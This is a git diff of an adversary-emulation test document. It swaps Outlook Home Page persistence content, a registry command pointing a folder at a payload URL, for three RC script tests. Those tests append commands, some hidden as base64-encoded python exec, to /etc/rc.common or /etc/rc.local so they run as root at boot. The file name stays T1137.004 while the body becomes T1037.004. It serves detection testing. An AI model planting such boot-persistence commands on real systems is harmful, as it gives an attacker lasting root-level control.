diff --git a/atomics/T1137.004/T1137.004.md b/atomics/T1137.004/T1137.004.md index 858ef875..5e258a38 100644 --- a/atomics/T1137.004/T1137.004.md +++ b/atomics/T1137.004/T1137.004.md @@ -1,45 +1,105 @@ -# T1137.004 - Outlook Home Page -## [Description from ATT&CK](https://attack.mitre.org/techniques/T1137/004) -
Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page) +# T1037.004 - RC Scripts +## [Description from ATT&CK](https://attack.mitre.org/techniques/T1037/004) +
Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify. -Once malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page) -
+Adversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence. + +Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware) + +Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)
## Atomic Tests -- [Atomic Test #1 - Install Outlook Home Page Persistence](#atomic-test-1---install-outlook-home-page-persistence) +- [Atomic Test #1 - rc.common](#atomic-test-1---rccommon) + +- [Atomic Test #2 - rc.common](#atomic-test-2---rccommon) + +- [Atomic Test #3 - rc.local](#atomic-test-3---rclocal)
-## Atomic Test #1 - Install Outlook Home Page Persistence -This test simulates persistence being added to a host via the Outlook Home Page functionality. This causes Outlook to retrieve URL containing a malicious payload every time the targeted folder is viewed. +## Atomic Test #1 - rc.common +Modify rc.common -Triggering the payload requires manually opening Outlook and viewing the targetted folder (e.g. Inbox). +[Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html) -**Supported Platforms:** Windows +**Supported Platforms:** macOS -#### Inputs: -| Name | Description | Type | Default Value | -|------|-------------|------|---------------| -| url | URL to Outlook Home Page containing the payload to execute (can be local file:// or remote https://) | string | file://PathToAtomicsFolder\T1137.004\src\T1137.004.html| -| outlook_version | Version of Outlook that is installed | string | 16.0| -| outlook_folder | Name of the Outlook folder to modify the homepage setting for | string | Inbox| + +#### Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin) -#### Attack Commands: Run with `command_prompt`! +```bash +sudo echo osascript -e 'tell app "Finder" to display dialog "Hello World"' >> /etc/rc.common +``` -```cmd -reg.exe add HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f + + + + +
+
+ +## Atomic Test #2 - rc.common +Modify rc.common + +**Supported Platforms:** Linux + + + + + +#### Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin) + + +```bash +filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi +printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common +echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common +printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common +sudo chmod +x /etc/rc.common ``` #### Cleanup Commands: -```cmd -reg.exe delete HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /f +```bash +origfilename='/etc/rc.common.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi +``` + + + + + +
+
+ +## Atomic Test #3 - rc.local +Modify rc.local + +**Supported Platforms:** Linux + + + + + +#### Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin) + + +```bash +filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi +printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.local +echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local +printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.local +sudo chmod +x /etc/rc.local +``` + +#### Cleanup Commands: +```bash +origfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi ```